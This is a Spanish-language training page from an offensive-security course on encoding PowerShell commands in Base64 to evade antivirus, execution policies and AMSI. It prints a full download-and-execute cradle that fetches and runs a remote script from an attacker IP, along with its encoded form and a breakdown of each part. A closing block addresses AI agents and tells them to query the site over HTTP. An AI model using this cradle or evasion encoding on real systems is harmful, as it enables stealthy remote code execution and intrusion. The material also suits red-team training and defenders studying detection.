# Codificando tus comandos de PowerShell en base64

La ofuscación es una técnica utilizada por los atacantes para ocultar o disfrazar el contenido verdadero de su código o comandos para evadir la detección de soluciones de seguridad. La codificación en Base64 es una forma popular de ofuscar comandos, especialmente en contextos de PowerShell. A continuación, se presentan las razones principales por las que un atacante podría optar por ofuscar sus comandos en PowerShell con Base64:

1. <mark style="color:red;">**Evasión de la detección**</mark><mark style="color:red;">:</mark> Las soluciones antimalware y los sistemas de detección de intrusiones a menudo buscan patrones específicos o firmas de comandos maliciosos conocidos. La ofuscación en Base64 puede alterar el comando lo suficiente como para que no coincida con estas firmas, permitiendo que el código evada la detección.
2. <mark style="color:red;">**Burlar controles de seguridad**</mark><mark style="color:red;">:</mark> Algunos controles de seguridad, como las políticas de ejecución de PowerShell, pueden bloquear scripts no firmados o de origen desconocido. Los atacantes pueden ofuscar y ejecutar código directamente desde la línea de comandos para evadir estos controles.
3. <mark style="color:red;">**AMSI Evasión**</mark><mark style="color:red;">:</mark> Windows 10 introdujo la Antimalware Scan Interface (AMSI) que permite que las soluciones antimalware escaneen scripts en tiempo real. Algunas técnicas de ofuscación, incluido el uso de Base64, pueden ser utilizadas para intentar evadir la detección por AMSI.
4. <mark style="color:red;">**Confusión y camuflaje**</mark><mark style="color:red;">:</mark> Al ofuscar un comando, los atacantes también pueden hacer que el análisis manual y la comprensión del código sean más difíciles. Esto puede ralentizar o dificultar el proceso de respuesta ante incidentes o la investigación forense.
5. <mark style="color:red;">**Ejecución uniforme**</mark><mark style="color:red;">:</mark> La codificación en Base64 permite a los atacantes tener una representación uniforme de los datos, lo que puede ser útil para garantizar que su código se ejecute consistentemente, independientemente del sistema o del contexto en el que se esté ejecutando.
6. <mark style="color:red;">**Incorporación de cargas útiles**</mark><mark style="color:red;">:</mark> Los atacantes a menudo necesitan incorporar cargas útiles dentro de otros scripts o documentos. La codificación Base64 permite que estas cargas útiles se representen como cadenas simples, lo que facilita su inclusión.

{% code overflow="wrap" %}

```bash
root@kali=> echo -n 'IEX (new-object net.webclient).downloadstring("http://192.168.45.165/Invoke-Spartan.ps1")' | iconv -t UTF-16LE | base64 -w 0

SQBFAFgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEANgA1AC8ASQBuAHYAbwBrAGUALQBTAHAAYQByAHQAYQBuAC4AcABzADEAIgApAA==                   
```

{% endcode %}

## <mark style="color:red;">Desglosando el Comando previo</mark>

1. <mark style="color:red;">**Parte PowerShell:**</mark>

   ```powershell
   IEX (new-object net.webclient).downloadstring("http://192.168.45.165/Invoke-Spartan.ps1")
   ```

   * `IEX`: Es un alias para `Invoke-Expression` en PowerShell, que toma una cadena y la ejecuta como código.
   * `new-object net.webclient`: Crea un nuevo objeto WebClient, utilizado para realizar descargas de datos a través de HTTP.
   * `.downloadstring("http://192.168.45.165/Invoke-Spartan.ps1")`: Usa el objeto WebClient para descargar el contenido de la URL especificada como una cadena.
   * En conjunto, este fragmento de código descarga un script de PowerShell (`Invoke-Spartan.ps1`) de un servidor remoto y lo ejecuta inmediatamente en la máquina local.
2. <mark style="color:red;">**Parte Bash:**</mark>

   ```bash
   echo -n 'IEX ...' | iconv -t UTF-16LE | base64 -w 0
   ```

   * `echo -n 'IEX ...'`: Imprime la cadena (que es el código PowerShell) sin añadir un nuevo línea al final.
   * `|`: Es un pipe, que toma la salida del comando anterior y la usa como entrada para el siguiente comando.
   * `iconv -t UTF-16LE`: Usa `iconv` para convertir la cadena a UTF-16LE. PowerShell utiliza por defecto la codificación UTF-16LE para sus scripts codificados en Base64.
   * `base64 -w 0`: Codifica la cadena convertida en Base64 sin dividirla en múltiples líneas (`-w 0` significa "no hacer wraps" o "no dividir en líneas").

#### Análisis del Comando

* <mark style="color:red;">**Objetivo del Comando:**</mark>
  * Este comando está diseñado para ser utilizado en ataques, específicamente para ejecutar scripts de PowerShell remotamente y de una manera que pueda ser más discreta o evasiva respecto a ciertos controles de seguridad.
  * El código de PowerShell es codificado en Base64 y puede ser ejecutado luego en una máquina objetivo utilizando una técnica que decodifique y ejecute la cadena Base64, evitando así la detección de ciertas soluciones de seguridad basadas en firmas.
* <mark style="color:red;">**Uso en Ataques:**</mark>
  * En escenarios de ataque, un atacante podría utilizar este comando para ejecutar un payload malicioso en una máquina remota.
  * `Invoke-Spartan.ps1` podría ser un script que realice acciones maliciosas, como establecer una shell reversa, descargar más payloads, o realizar acciones en la máquina víctima.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/introduccion-a-la-evasion-de-defensas/codificando-tus-comandos-de-powershell-en-base64.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
